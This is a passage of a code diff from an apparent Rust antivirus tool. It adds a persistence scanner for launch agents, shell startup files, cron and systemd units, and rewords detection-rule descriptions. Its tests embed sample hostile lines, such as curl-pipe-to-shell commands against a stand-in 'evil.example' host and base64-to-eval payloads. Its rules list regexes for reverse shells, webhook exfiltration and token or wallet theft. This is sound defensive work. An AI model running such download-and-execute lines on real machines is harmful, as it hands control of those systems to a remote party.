"PERSIST_LAUNCHD_TEMP_EXEC_RUNATLOAD") + } else { + (Severity::High, "PERSIST_LAUNCHD_TEMP_EXEC") + }; + if budget.allow(rule) { + findings.push(finding( + rule, + ThreatCategory::FilesystemAbuse, + severity, + Confidence::Medium, + "Launch agent runs a binary from a temporary or hidden directory", + &format!( + "The launchd job {label} executes {executable}, which lives in a temporary or dot-prefixed directory. Installed software keeps its launchd jobs inside an application bundle; a payload parked in /tmp or a hidden folder is how a worm survives a reboot and a cleanup pass." + ), + file, + None, + executable, + )); + } + } +} + +// --------------------------------------------------------------------------- +// Shell startup files +// --------------------------------------------------------------------------- + +fn scan_shell_startup( + file: &FileUnit, + text: &str, + patterns: &Patterns, + budget: &mut RuleBudget, + findings: &mut Vec, +) { + for (index, line) in text.lines().enumerate() { + let line_number = index + 1; + if patterns.skippable_line.is_match(line) { + continue; + } + let trimmed = line.trim(); + // A trailing backslash continues the command on the next line, so the + // line is only a fragment; the download/decode regexes still match the + // head of the chain, which is enough to flag it. + let snippet = trimmed.trim_end_matches('\\').trim(); + + if patterns.download_exec.is_match(snippet) && budget.allow("PERSIST_SHELLRC_DOWNLOAD_EXEC") + { + findings.push(finding( + "PERSIST_SHELLRC_DOWNLOAD_EXEC", + ThreatCategory::CommandExecution, + Severity::Critical, + Confidence::High, + "Shell startup file downloads and executes remote code", + "This startup file pipes a download (`curl`/`wget`) straight into a shell. Every new terminal, and in some setups every login, re-runs whatever the remote server currently serves: a self-updating foothold rather than a one-off infection.", + file, + Some(line_number), + snippet, + )); + } else if patterns.decode_exec.is_match(snippet) + && budget.allow("PERSIST_SHELLRC_DECODE_EXEC") + { + findings.push(finding( + "PERSIST_SHELLRC_DECODE_EXEC", + ThreatCategory::Obfuscation, + Severity::High, + Confidence::High, + "Shell startup file decodes and executes an embedded payload", + "This startup file decodes an encoded blob (base32/base64/hex) and feeds the result to a shell or `eval`. The plain-text file therefore shows no readable payload, only the decoder: the encoding exists purely to hide what runs on every shell start.", + file, + Some(line_number), + snippet, + )); + } else if patterns.launchctl_install.is_match(snippet) + && budget.allow("PERSIST_SHELLRC_LAUNCHCTL_LOAD") + { + findings.push(finding( + "PERSIST_SHELLRC_LAUNCHCTL_LOAD", + ThreatCategory::FilesystemAbuse, + Severity::High, + Confidence::Medium, + "Shell startup file installs a launch agent", + "This startup file calls `launchctl load`/`bootstrap`, so opening a terminal (re)installs a background job. Worms use it to reinstall their launch agent after it has been removed, which is why the hook keeps coming back.", + file, + Some(line_number), + snippet, + )); + } else if patterns.background_exec.is_match(snippet) + && snippet.trim_end().ends_with('&') + && first_path_token(snippet).is_some_and(is_suspicious_exec_path) + && budget.allow("PERSIST_SHELLRC_BACKGROUND_HIDDEN") + { + findings.push(finding( + "PERSIST_SHELLRC_BACKGROUND_HIDDEN", + ThreatCategory::Other, + Severity::Medium, + Confidence::Low, + "Shell startup file backgrounds a detached process from a hidden path", + &format!( + "This startup file detaches a process with `nohup`/`setsid` and a trailing `&`, running it from a temporary or dot-prefixed directory. Plenty of developer tooling does this legitimately, so treat it as a lead: check what {} actually is before removing the line.", + first_path_token(snippet).unwrap_or("the command") + ), + file, + Some(line_number), + snippet, + )); + } + } +} + +// --------------------------------------------------------------------------- +// crontab / cron.d +// --------------------------------------------------------------------------- + +fn scan_crontab( + file: &FileUnit, + text: &str, + patterns: &Patterns, + budget: &mut RuleBudget, + findings: &mut Vec, +) { + for (index, line) in text.lines().enumerate() { + let line_number = index + 1; + if patterns.skippable_line.is_match(line) { + continue; + } + let trimmed = line.trim(); + // `KEY=value` assignments (SHELL=, PATH=, MAILTO=) are environment + // settings, not scheduled commands. + if !trimmed.contains(char::is_whitespace) { + continue; + } + let Some(command) = patterns + .cron_schedule + .captures(trimmed) + .and_then(|caps| caps.get(1)) + .map(|m| m.as_str().trim()) + else { + continue; + }; + if command.is_empty() { + continue; + } + let reboot = trimmed.trim_start().to_ascii_lowercase().starts_with("@reboot"); + + if patterns.download_exec.is_match(command) && budget.allow("PERSIST_CRON_DOWNLOAD_EXEC") { + findings.push(finding( + "PERSIST_CRON_DOWNLOAD_EXEC", + ThreatCategory::CommandExecution, + Severity::Critical, + Confidence::High, + "Cron job downloads and executes remote code", + "This cron entry pipes a download into a shell, so the schedule re-fetches and re-runs remote code. Because cron survives reboots on its own, this is a complete persistence loop with no user interaction.", + file, + Some(line_number), + command, + )); + } else if patterns.decode_exec.is_match(command) && budget.allow("PERSIST_CRON_DECODE_EXEC") + { + findings.push(finding( + "PERSIST_CRON_DECODE_EXEC", + ThreatCategory::Obfuscation, + Severity::High, + Confidence::High, + "Cron job decodes and executes an embedded payload", + "This cron entry decodes an encoded blob and runs the result. The crontab stays readable while the payload it executes does not, and the schedule re-runs it indefinitely.", + file, + Some(line_number), + command, + )); + } else if (reboot || is_frequent_schedule(trimmed)) + && first_path_token(command).is_some_and(is_suspicious_exec_path) + && budget.allow("PERSIST_CRON_HIDDEN_EXEC") + { + findings.push(finding( + "PERSIST_CRON_HIDDEN_EXEC", + ThreatCategory::FilesystemAbuse, + Severity::High, + Confidence::Medium, + "Cron job runs a payload from a hidden or temporary directory", + "This cron entry fires on a reboot or on a short interval and runs something out of a temporary or dot-prefixed directory. Scheduled jobs normally run installed binaries from /usr/bin or /usr/local/bin; a hidden payload on a tight schedule is a beacon.", + file, + Some(line_number), + command, + )); + } + } +} + +/// `true` for a schedule that repeats at least hourly (`* * * * *`, +/// `*/5 * * * *`, …), the cadence a beacon uses. +fn is_frequent_schedule(line: &str) -> bool { + let mut fields = line.split_whitespace().take(5); + let Some(minute) = fields.next() else { + return false; + }; + // `*/N` with N <= 59, or a bare `*`, in the minute column. + if let Some(step) = minute.strip_prefix("*/") { + return step.parse::().is_ok_and(|n| n <= 59); + } + minute == "*" +} + +// --------------------------------------------------------------------------- +// systemd user units +// --------------------------------------------------------------------------- + +fn scan_systemd_unit( + file: &FileUnit, + text: &str, + patterns: &Patterns, + budget: &mut RuleBudget, + findings: &mut Vec, +) { + for (index, line) in text.lines().enumerate() { + let line_number = index + 1; + if patterns.skippable_line.is_match(line) { + continue; + } + let Some(command) = patterns + .systemd_exec + .captures(line) + .and_then(|caps| caps.get(1)) + .map(|m| m.as_str().trim()) + else { + continue; + }; + // systemd lets a unit start with `-` (ignore failure) and accepts + // `@`/`%` specifiers; strip them before looking at the path. + let cleaned = command.trim_start_matches(&['-', '@', '!', '+'][..]).trim(); + + if patterns.download_exec.is_match(cleaned) && budget.allow("PERSIST_SYSTEMD_DOWNLOAD_EXEC") + { + findings.push(finding( + "PERSIST_SYSTEMD_DOWNLOAD_EXEC", + ThreatCategory::CommandExecution, + Severity::Critical, + Confidence::High, + "systemd user unit downloads and executes remote code", + "This unit's ExecStart pipes a download into a shell, so systemd re-fetches remote code on every start and restart.", + file, + Some(line_number), + cleaned, + )); + } else if first_path_token(cleaned).is_some_and(is_suspicious_exec_path) + && budget.allow("PERSIST_SYSTEMD_HIDDEN_EXEC") + { + findings.push(finding( + "PERSIST_SYSTEMD_HIDDEN_EXEC", + ThreatCategory::FilesystemAbuse, + Severity::High, + Confidence::Medium, + "systemd user unit runs a payload from a hidden or temporary directory", + "This unit's ExecStart points into a temporary or dot-prefixed directory. Package-managed units run binaries from /usr/bin or /usr/lib; a hidden path here is the Linux equivalent of a suspicious LaunchAgent.", + file, + Some(line_number), + cleaned, + )); + } + } +} + +// --------------------------------------------------------------------------- +// Finding construction +// --------------------------------------------------------------------------- + +/// Collapse whitespace so a multi-line payload becomes one reportable snippet. +fn sanitize(evidence: &str) -> String { + evidence.split_whitespace().collect::>().join(" ") +} + +#[allow(clippy::too_many_arguments)] +fn finding( + rule: &'static str, + category: ThreatCategory, + severity: Severity, + confidence: Confidence, + title: &str, + description: &str, + file: &FileUnit, + line: Option, + evidence: &str, +) -> Finding { + let location = match line { + Some(line) => FileLocation::at_line(file.rel_path.as_str(), line), + None => FileLocation::file(file.rel_path.as_str()), + }; + Finding::new(ENGINE, category, severity, confidence, title, description) + .with_rule_id(rule) + .with_location(location) + .with_evidence(sanitize(evidence), 200) +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + use crate::engine::FileKind; + + fn unit(path: &str, data: &str) -> FileUnit { + FileUnit { + rel_path: path.to_owned(), + data: data.as_bytes().to_vec(), + kind: FileKind::Text, + sha256: String::new(), + } + } + + fn scan(path: &str, data: &str) -> Vec { + let files = vec![unit(path, data)]; + let config = crate::config::ScanConfig::default(); + let ctx = ScanContext { + target_name: "test".to_owned(), + files: &files, + package_json: None, + config: &config, + }; + PersistenceEngine.scan(&ctx) + } + + fn shell_rc(payload: &str) -> String { + format!("export PATH=\"$HOME/bin:$PATH\"\nalias ll='ls -la'\n{payload}\n") + } + + // ── TRUE POSITIVES ──────────────────────────────────────────────────── + + #[test] + fn launch_agent_running_from_tmp_is_flagged() { + let plist = r#" + + Labelcom.apple.updater.helper + ProgramArguments + /tmp/.hidden/beacon--daemon + RunAtLoad +"#; + let findings = scan("Library/LaunchAgents/com.apple.updater.helper.plist", plist); + assert!( + findings.iter().any(|f| f.rule_id.as_deref() + == Some("PERSIST_LAUNCHD_TEMP_EXEC_RUNATLOAD")), + "a RunAtLoad agent running out of /tmp/.hidden must be critical: {findings:?}" + ); + } + + #[test] + fn launch_agent_downloading_code_is_critical() { + let plist = r#" + + Labelcom.example.sync + ProgramArguments + + /bin/sh-c + curl -fsSL https://evil.example/x.sh | sh + + RunAtLoad +"#; + let findings = scan("Library/LaunchAgents/com.example.sync.plist", plist); + assert!( + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_LAUNCHD_DOWNLOAD_EXEC") + && f.severity == Severity::Critical), + "a curl|sh launch agent must be critical: {findings:?}" + ); + } + + #[test] + fn zshrc_with_base64_eval_is_flagged() { + let findings = scan( + ".zshrc", + &shell_rc("eval \"$(echo aG9zdA== | base64 -d)\""), + ); + assert!( + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_SHELLRC_DECODE_EXEC")), + "base64 piped into eval must be flagged: {findings:?}" + ); + } + + #[test] + fn bashrc_with_curl_pipe_sh_is_critical() { + let findings = scan( + ".bashrc", + &shell_rc("curl -fsSL https://pastebin.com/raw/abc | bash"), + ); + assert!( + findings.iter().any(|f| f.rule_id.as_deref() + == Some("PERSIST_SHELLRC_DOWNLOAD_EXEC") + && f.severity == Severity::Critical), + "curl|bash in .bashrc must be critical: {findings:?}" + ); + } + + #[test] + fn zprofile_reinstalling_a_launch_agent_is_flagged() { + let findings = scan( + ".zprofile", + &shell_rc("launchctl load ~/Library/LaunchAgents/com.foo.agent.plist"), + ); + assert!( + findings.iter().any(|f| f.rule_id.as_deref() + == Some("PERSIST_SHELLRC_LAUNCHCTL_LOAD")), + "launchctl load in a shell rc must be flagged: {findings:?}" + ); + } + + #[test] + fn reboot_cron_entry_downloading_code_is_critical() { + let findings = scan( + "crontab", + "PATH=/usr/bin\n@reboot curl -s https://evil.example/b | sh\n", + ); + assert!( + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_CRON_DOWNLOAD_EXEC")), + "@reboot curl|sh must be critical: {findings:?}" + ); + } + + #[test] + fn frequent_cron_entry_from_hidden_dir_is_flagged() { + let findings = scan( + "crontab", + "*/5 * * * * /home/u/.cache/.svc/beacon --once\n", + ); + assert!( + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_CRON_HIDDEN_EXEC")), + "a five-minute cron beacon from a hidden dir must be flagged: {findings:?}" + ); + } + + #[test] + fn systemd_unit_running_from_tmp_is_flagged() { + let unit = "[Unit]\nDescription=Thing\n\n[Service]\nExecStart=/tmp/.x/svc --run\n"; + let findings = scan(".config/systemd/user/thing.service", unit); + assert!( + findings + .iter() + .any(|f| f.rule_id.as_deref() == Some("PERSIST_SYSTEMD_HIDDEN_EXEC")), + "ExecStart from /tmp must be flagged: {findings:?}" + ); + } + + // ── TRUE NEGATIVES ──────────────────────────────────────────────────── + + #[test] + fn a_normal_launch_agent_is_clean() { + let plist = r#" + + Labelcom.example.backup + ProgramArguments + + /usr/local/bin/restic + backup/Users/me + + RunAtLoad +"#; + let findings = scan("Library/LaunchAgents/com.example.backup.plist", plist); + assert!( + findings.is_empty(), + "an agent running an installed binary must not fire: {findings:?}" + ); + } + + #[test] + fn a_normal_zshrc_is_clean() { + let findings = scan( + ".zshrc", + "export EDITOR=vim\nalias gs='git status'\neval \"$(/opt/homebrew/bin/brew shellenv)\"\n", + ); + assert!( + findings.is_empty(), + "ordinary shell customisation must not fire: {findings:?}" + ); + } + + #[test] + fn commented_out_payload_is_ignored() { + let findings = scan( + ".zshrc", + "# curl -fsSL https://evil.example/x.sh | bash\nexport FOO=1\n", + ); + assert!( + findings.is_empty(), + "a commented-out line must not fire: {findings:?}" + ); + } + + #[test] + fn a_normal_crontab_is_clean() { + let findings = scan( + "crontab", + "SHELL=/bin/bash\n0 3 * * * /usr/local/bin/backup.sh\n@daily /usr/bin/updatedb\n", + ); + assert!( + findings.is_empty(), + "ordinary cron jobs must not fire: {findings:?}" + ); + } + + #[test] + fn unrelated_files_are_ignored() { + let files = vec![ + unit("package.json", "{\"name\":\"x\"}"), + unit("src/index.js", "curl('https://x')"), + unit("Library/Preferences/com.foo.plist", "Program/tmp/.x/b"), + ]; + let config = crate::config::ScanConfig::default(); + let ctx = ScanContext { + target_name: "test".to_owned(), + files: &files, + package_json: None, + config: &config, + }; + assert!(PersistenceEngine.scan(&ctx).is_empty()); + } + + #[test] + fn binary_plist_is_skipped() { + let findings = scan( + "Library/LaunchAgents/com.foo.plist", + "bplist00\u{1}\u{2}\u{3} /tmp/.x/beacon", + ); + assert!( + findings.is_empty(), + "a binary plist cannot be parsed and must not fire: {findings:?}" + ); + } + + // ── Helpers ─────────────────────────────────────────────────────────── + + #[test] + fn suspicious_path_detection() { + assert!(is_suspicious_exec_path("/tmp/.hidden/beacon")); + assert!(is_suspicious_exec_path("/Users/me/.cache/.svc/beacon")); + assert!(is_suspicious_exec_path("/Users/me/.updater/payload")); + assert!(is_suspicious_exec_path("/var/tmp/x")); + assert!(!is_suspicious_exec_path("/usr/local/bin/restic")); + assert!(!is_suspicious_exec_path( + "/Applications/Thing.app/Contents/MacOS/Thing" + )); + // Ordinary dot-directory tooling is NOT suspicious: these are where + // user-installed binaries normally live. + assert!(!is_suspicious_exec_path("/Users/me/.local/bin/foo")); + assert!(!is_suspicious_exec_path("/home/u/.cargo/bin/rg")); + assert!(!is_suspicious_exec_path("/home/u/.cache/svc/beacon")); + } + + #[test] + fn classification_is_path_driven() { + assert_eq!(classify("Library/LaunchAgents/a.plist"), Some(TargetKind::LaunchAgent)); + assert_eq!(classify("Library/LaunchDaemons/a.plist"), Some(TargetKind::LaunchAgent)); + assert_eq!(classify("Library/LaunchAgents/a.txt"), None); + assert_eq!(classify(".zshrc"), Some(TargetKind::ShellStartup)); + assert_eq!(classify("/home/u/.bashrc"), Some(TargetKind::ShellStartup)); + assert_eq!(classify("crontab"), Some(TargetKind::Crontab)); + assert_eq!(classify("etc/cron.d/backup"), Some(TargetKind::Crontab)); + assert_eq!( + classify(".config/systemd/user/a.service"), + Some(TargetKind::SystemdUnit) + ); + assert_eq!(classify("src/main.rs"), None); + } + + #[test] + fn rule_budget_caps_each_rule_per_file() { + let mut budget = RuleBudget::default(); + assert!(budget.allow("R1")); + assert!(budget.allow("R1")); + assert!(budget.allow("R1")); + assert!(!budget.allow("R1"), "the fourth emission must be dropped"); + assert!(budget.allow("R2"), "a different rule has its own budget"); + } + + #[test] + fn frequent_schedule_detection() { + assert!(is_frequent_schedule("*/5 * * * * /bin/x")); + assert!(is_frequent_schedule("* * * * * /bin/x")); + assert!(!is_frequent_schedule("0 3 * * * /bin/x")); + assert!(!is_frequent_schedule("@daily /bin/x")); + } + + #[test] + fn inline_script_detection_needs_a_suspicious_body() { + assert!(is_inline_script_exec( + "/bin/bash", + &["-c".to_owned(), "curl https://x | sh".to_owned()] + )); + assert!(!is_inline_script_exec( + "/bin/bash", + &["-c".to_owned(), "echo hello".to_owned()] + )); + assert!(!is_inline_script_exec( + "/usr/local/bin/restic", + &["backup".to_owned()] + )); + } +} diff --git a/crates/cleanton-antivirus/src/engines/rules.rs b/crates/cleanton-antivirus/src/engines/rules.rs index d689237..351746d 100644 --- a/crates/cleanton-antivirus/src/engines/rules.rs +++ b/crates/cleanton-antivirus/src/engines/rules.rs @@ -201,7 +201,7 @@ static RULE_EVAL_ATOB_NET: Rule = Rule { confidence: Confidence::High, title: "eval(atob(…)) combined with network access", desc: "Decodes a base64 payload at runtime and immediately eval()s it alongside \ - a network call — characteristic of stealthy JS loaders and npm supply-chain backdoors.", + a network call: characteristic of stealthy JS loaders and npm supply-chain backdoors.", patterns: &[ Pattern::Regex(r"\beval\s*\(\s*atob\s*\("), Pattern::Regex(r#"\beval\s*\(\s*Buffer\.from\s*\(.*["']base64["']"#), @@ -271,7 +271,7 @@ static RULE_EXFIL_WEBHOOK: Rule = Rule { confidence: Confidence::High, title: "Data exfiltration to webhook / paste service", desc: "Sends data to a Discord webhook, Telegram bot API, Pastebin, RequestBin, \ - webhook.site, or similar paste/hook service — common npm supply-chain exfil channel.", + webhook.site, or similar paste/hook service: common npm supply-chain exfil channel.", patterns: &[ Pattern::Regex(r"https://discord(?:app)?\.com/api/webhooks/\d+/[A-Za-z0-9_-]+"), Pattern::Regex(r"https://api\.telegram\.org/bot[A-Za-z0-9_-]+:[A-Za-z0-9_-]+/"), @@ -382,7 +382,7 @@ static RULE_REVSHELL_PYTHON: Rule = Rule { confidence: Confidence::High, title: "Python reverse shell (socket + subprocess/exec)", desc: "Python code combining socket connection to an attacker-controlled IP with \ - subprocess.call/os.execl/exec() — classic Python reverse shell pattern.", + subprocess.call/os.execl/exec(): classic Python reverse shell pattern.", patterns: &[ Pattern::Regex(r"import\s+socket"), Pattern::Regex(r"\.connect\s*\(\s*\("), @@ -399,7 +399,7 @@ static RULE_NPM_WORM: Rule = Rule { confidence: Confidence::High, title: "npm worm: token theft + self-propagating publish", desc: "Combines npm authentication token access with npm publish or registry \ - API calls — hallmark of self-propagating npm supply-chain worms.", + API calls: hallmark of self-propagating npm supply-chain worms.", patterns: &[ Pattern::Regex(r"(?:NPM_TOKEN|NPM_AUTH_TOKEN|_authToken|npm\s+login)"), Pattern::Regex(r"npm\s+publish"), @@ -506,7 +506,7 @@ static RULE_B64_EXEC: Rule = Rule { confidence: Confidence::Medium, title: "Base64 decode followed by exec/eval/spawn", desc: "Decodes a base64 string and immediately executes it via eval, exec, spawn, \ - or shell — used to conceal payloads from static analysis.", + or shell: used to conceal payloads from static analysis.", patterns: &[ Pattern::Regex(r"(?:atob|Buffer\.from|base64\.b64decode|base64_decode)\s*\("), Pattern::Regex( @@ -560,7 +560,7 @@ static RULE_NPM_LIFECYCLE_DOWNLOADER: Rule = Rule { confidence: Confidence::High, title: "npm lifecycle script downloads remote payload", desc: "An npm preinstall/postinstall/install script fetches a remote binary or \ - script — used to bypass npm registry scanning by fetching the payload at install time.", + script: used to bypass npm registry scanning by fetching the payload at install time.", patterns: &[ Pattern::Regex( r#""(?:pre|post)?install"\s*:\s*"[^"]*(?:curl|wget|fetch|http|https)[^"]*""#, @@ -626,7 +626,7 @@ static RULE_CLIPBOARD_HIJACK: Rule = Rule { category: ThreatCategory::CryptoStealer, severity: Severity::Critical, confidence: Confidence::High, - title: "Clipboard hijack — crypto address substitution", + title: "Clipboard hijack: crypto address substitution", desc: "Reads clipboard content and replaces cryptocurrency wallet addresses \ (Bitcoin/Ethereum/Monero patterns), a classic crypto-stealer technique.", patterns: &[ @@ -647,7 +647,7 @@ static RULE_PERSISTENCE: Rule = Rule { confidence: Confidence::Medium, title: "Persistence via crontab or Windows Registry Run key", desc: "Modifies crontab or Windows HKCU/HKLM Run keys to achieve persistence \ - across reboots — common in dropper and RAT payloads.", + across reboots: common in dropper and RAT payloads.", patterns: &[ Pattern::Regex(r"crontab\s+-[leu]"), Pattern::Regex(r#"(?:echo|printf)\s+["'][^"']*\*[^"']*["']\s*>+\s*/etc/cron"#), @@ -665,7 +665,7 @@ static RULE_EVAL_DYNAMIC: Rule = Rule { severity: Severity::High, confidence: Confidence::Medium, title: "eval() / exec() on dynamic/external input", - desc: "eval() or exec() called on a variable, HTTP response, or socket data — \ + desc: "eval() or exec() called on a variable, HTTP response, or socket data: \ enables remote code execution if the input source is attacker-controlled.", patterns: &[ Pattern::Regex( @@ -693,7 +693,7 @@ static RULE_CRYPTO_WALLET_FILES: Rule = Rule { title: "Cryptocurrency wallet store / seed-phrase file access", desc: "References local wallet stores (Solana id.json, Exodus wallet, MetaMask \ extension LevelDB, Ethereum keystore, Bitcoin wallet.dat) or seed-phrase \ - files — the harvest targets of BeaverTail/W4SP-class crypto stealers.", + files: the harvest targets of BeaverTail/W4SP-class crypto stealers.", patterns: &[ Pattern::Regex(r"\.config[/\\]solana[/\\]id\.json"), Pattern::Literal("exodus.wallet"), @@ -718,7 +718,7 @@ static RULE_CRED_RUBYGEMS: Rule = Rule { severity: Severity::High, confidence: Confidence::Medium, title: "RubyGems publish credential access", - desc: "References ~/.gem/credentials or RubyGems API-key material — the \ + desc: "References ~/.gem/credentials or RubyGems API-key material: the \ RubyGems analogue of .npmrc token theft, used by cross-ecosystem \ supply-chain worms to republish trojanized gems.", patterns: &[ diff --git a/crates/cleanton-antivirus/src/engines/script_behavior.rs b/crates/cleanton-antivirus/src/engines/script_behavior.rs index ad88bc9..92cc1e4 100644 --- a/crates/cleanton-antivirus/src/engines/script_behavior.rs +++ b/crates/cleanton-antivirus/src/engines/script_behavior.rs @@ -751,7 +751,7 @@ impl ScriptBehaviorEngine { Severity::High, Confidence::Medium, "new Function() code execution", - "new Function() constructs executable code at runtime — equivalent to eval().", + "new Function() constructs executable code at runtime: equivalent to eval().", ) .with_rule_id("SB_JS_FUNCTION_CTOR") .with_location(FileLocation::at_line(path, *lineno)) @@ -1051,7 +1051,7 @@ impl ScriptBehaviorEngine { Severity::High, Confidence::High, "Cryptocurrency wallet store / seed-phrase file access", - "The script references a local crypto wallet store (Exodus wallet, wallet.dat, Solana id.json, MetaMask extension store, Ethereum keystore) or a seed-phrase file — the harvest target of BeaverTail/W4SP-class stealers.", + "The script references a local crypto wallet store (Exodus wallet, wallet.dat, Solana id.json, MetaMask extension store, Ethereum keystore) or a seed-phrase file: the harvest target of BeaverTail/W4SP-class stealers.", ) .with_rule_id("SB_CRED_CRYPTO_WALLET") .with_location(FileLocation::at_line(path, *lineno)) @@ -1075,7 +1075,7 @@ impl ScriptBehaviorEngine { Severity::High, Confidence::High, "RubyGems publish credential access", - "The script references ~/.gem/credentials or RubyGems API-key material — the RubyGems analogue of .npmrc token theft, used by cross-ecosystem worms to republish trojanized gems.", + "The script references ~/.gem/credentials or RubyGems API-key material: the RubyGems analogue of .npmrc token theft, used by cross-ecosystem worms to republish trojanized gems.", ) .with_rule_id("SB_CRED_RUBYGEMS") .with_location(FileLocation::at_line(path, *lineno)) @@ -1099,7 +1099,7 @@ impl ScriptBehaviorEngine { Severity::Medium, Confidence::Medium, "Hardcoded secret/token literal", - "Variable name suggests a secret (key/token/password/secret) assigned a literal string value — potential credential leak.", + "Variable name suggests a secret (key/token/password/secret) assigned a literal string value: potential credential leak.", ) .with_rule_id("SB_HARDCODED_SECRET") .with_location(FileLocation::at_line(path, *lineno)) @@ -1292,7 +1292,7 @@ impl ScriptBehaviorEngine { Severity::Critical, Confidence::High, "Cron persistence write detected", - "The script writes to crontab or /etc/cron.d to install a persistent scheduled task — a classic malware persistence mechanism.", + "The script writes to crontab or /etc/cron.d to install a persistent scheduled task: a classic malware persistence mechanism.", ) .with_rule_id("SB_PERSIST_CRON") .with_location(FileLocation::at_line(path, *lineno)) @@ -1313,7 +1313,7 @@ impl ScriptBehaviorEngine { Severity::High, Confidence::Medium, "Shell startup file modification", - "The script references ~/.bashrc, ~/.zshrc, or /etc/profile — common targets for persistence via shell startup hooks.", + "The script references ~/.bashrc, ~/.zshrc, or /etc/profile: common targets for persistence via shell startup hooks.", ) .with_rule_id("SB_PERSIST_BASHRC") .with_location(FileLocation::at_line(path, *lineno)) @@ -1334,7 +1334,7 @@ impl ScriptBehaviorEngine { Severity::Critical, Confidence::High, "systemd unit path write detected", - "Writing to /etc/systemd/system or ~/.config/systemd/user installs a persistent service — a high-confidence malware persistence technique.", + "Writing to /etc/systemd/system or ~/.config/systemd/user installs a persistent service: a high-confidence malware persistence technique.", ) .with_rule_id("SB_PERSIST_SYSTEMD") .with_location(FileLocation::at_line(path, *lineno)) @@ -1492,7 +1492,7 @@ impl ScriptBehaviorEngine { Severity::Critical, Confidence::High, "curl | bash download-and-execute", - "Piping curl output directly into bash executes remote code without verification — one of the most dangerous patterns in scripts.", + "Piping curl output directly into bash executes remote code without verification: one of the most dangerous patterns in scripts.", ) .with_rule_id("SB_DL_EXEC_CURL_BASH") .with_location(FileLocation::at_line(path, *lineno)) @@ -1540,7 +1540,7 @@ impl ScriptBehaviorEngine { Severity::Critical, Confidence::High, "Download-and-eval pattern in JavaScript", - "fetch/http.get followed by eval() or exec() executes remotely-fetched content — a stager pattern.", + "fetch/http.get followed by eval() or exec() executes remotely-fetched content: a stager pattern.", ) .with_rule_id("SB_JS_DL_EXEC") .with_location(FileLocation::file(path)) @@ -1603,7 +1603,7 @@ impl ScriptBehaviorEngine { Severity::High, Confidence::High, "PowerShell execution policy bypass", - "-ExecutionPolicy Bypass disables script restrictions — almost always malicious in non-administrative scripts.", + "-ExecutionPolicy Bypass disables script restrictions: almost always malicious in non-administrative scripts.", ) .with_rule_id("SB_PS_EXEC_BYPASS") .with_location(FileLocation::at_line(path, *lineno)) @@ -2044,7 +2044,7 @@ impl ScriptBehaviorEngine { Severity::High, Confidence::High, "IP geolocation API call in install script", - "Calling a geolocation API during package install is a supply-chain malware evasion technique — used to skip execution in CIS/analyst countries (ua-parser-js, node-ipc).", + "Calling a geolocation API during package install is a supply-chain malware evasion technique: used to skip execution in CIS/analyst countries (ua-parser-js, node-ipc).", ) .with_rule_id("SB_GEOFENCE_CIS_EXCLUSION") .with_location(FileLocation::at_line(path, *lineno)) @@ -2260,7 +2260,7 @@ impl ScriptBehaviorEngine { Severity::Critical, Confidence::High, "Obfuscated download-and-execute", - "Remote code download combined with obfuscation. Two-stage dropper pattern — a near-certain malware indicator.", + "Remote code download combined with obfuscation. Two-stage dropper pattern: a near-certain malware indicator.", ) .with_rule_id("SB_CHAIN_DL_OBFUS") .with_location(FileLocation::file(path)), diff --git a/crates/cleanton-antivirus/src/engines/supply_chain.rs b/crates/cleanton-antivirus/src/engines/supply_chain.rs index b8d7418..bc12fdf 100644 --- a/crates/cleanton-antivirus/src/engines/supply_chain.rs +++ b/crates/cleanton-antivirus/src/engines/supply_chain.rs @@ -263,7 +263,7 @@ static SCRIPT_RULES: &[ScriptRule] = &[ }, ScriptRule { rule_id: "SC_INSTALL_NPM_PUBLISH_IN_HOOK", - title: "Install script calls `npm publish` — token-theft self-propagation", + title: "Install script calls `npm publish`: token-theft self-propagation", category: ThreatCategory::SupplyChain, severity: Severity::High, confidence: Confidence::High, @@ -1051,7 +1051,7 @@ static WORM_SCRIPT_RULES: &[WormScriptRule] = &[ severity: Severity::Critical, confidence: Confidence::High, description: "The /v1/search?text=maintainer:{user} registry call is the canonical worm \ - enumeration step — used identically by Shai-Hulud v1/v2, SANDWORM_MODE, \ + enumeration step: used identically by Shai-Hulud v1/v2, SANDWORM_MODE, \ CanisterWorm, and Phantom Gyp to find all packages they can infect with a \ stolen token.", }, @@ -1309,7 +1309,7 @@ impl SupplyChainEngine { "Sigstore attestation signer identity differs from package author", "The OIDC signer identity embedded in the package's Sigstore attestation \ does not match the declared author email. Phantom Gyp/Miasma forged SLSA \ - attestations using stolen OIDC tokens — a signer-domain mismatch is a \ + attestations using stolen OIDC tokens: a signer-domain mismatch is a \ strong indicator of attestation forgery.", ) .with_rule_id("SC_ATTESTATION_SIGNER_DELTA") @@ -1343,7 +1343,7 @@ impl SupplyChainEngine { ThreatCategory::DependencyConfusion, Severity::High, Confidence::Medium, - "Package version is inflated (major >= 50) — dependency-confusion probe", + "Package version is inflated (major >= 50): dependency-confusion probe", "Version numbers with major >= 50 are used in dependency-confusion probes to \ override the internal package version at registry resolution time. Legitimate \ packages at v50+ are extremely rare and have extensive published history.", diff --git a/crates/cleanton-antivirus/src/engines/worm_propagation.rs b/crates/cleanton-antivirus/src/engines/worm_propagation.rs index bec52d4..76df67e 100644 --- a/crates/cleanton-antivirus/src/engines/worm_propagation.rs +++ b/crates/cleanton-antivirus/src/engines/worm_propagation.rs @@ -266,7 +266,7 @@ impl WormPropagationEngine { "PyPI/twine publish invoked from npm lifecycle hook (WORM-05)", "Calling `twine upload` or referencing TWINE_PASSWORD/.pypirc inside an \ npm lifecycle script is the cross-ecosystem worm propagation step used by \ - CanisterSprawl — the first documented npm→PyPI worm. An npm package has \ + CanisterSprawl: the first documented npm→PyPI worm. An npm package has \ no legitimate reason to publish to PyPI.", ) .with_rule_id("WORM_CROSS_ECOSYSTEM_TWINE") @@ -435,7 +435,7 @@ impl WormPropagationEngine { ThreatCategory::SupplyChain, Severity::Critical, Confidence::High, - "Token harvest + npm publish combo — worm propagation fingerprint (WORM-04)", + "Token harvest + npm publish combo: worm propagation fingerprint (WORM-04)", "The lifecycle script BOTH reads npm auth tokens (.npmrc/NPM_TOKEN) AND calls \ `npm publish`. This combination is the exact harvest-then-republish worm \ propagation loop; zero legitimate packages need both. Definitive indicator of \ @@ -454,7 +454,7 @@ impl WormPropagationEngine { 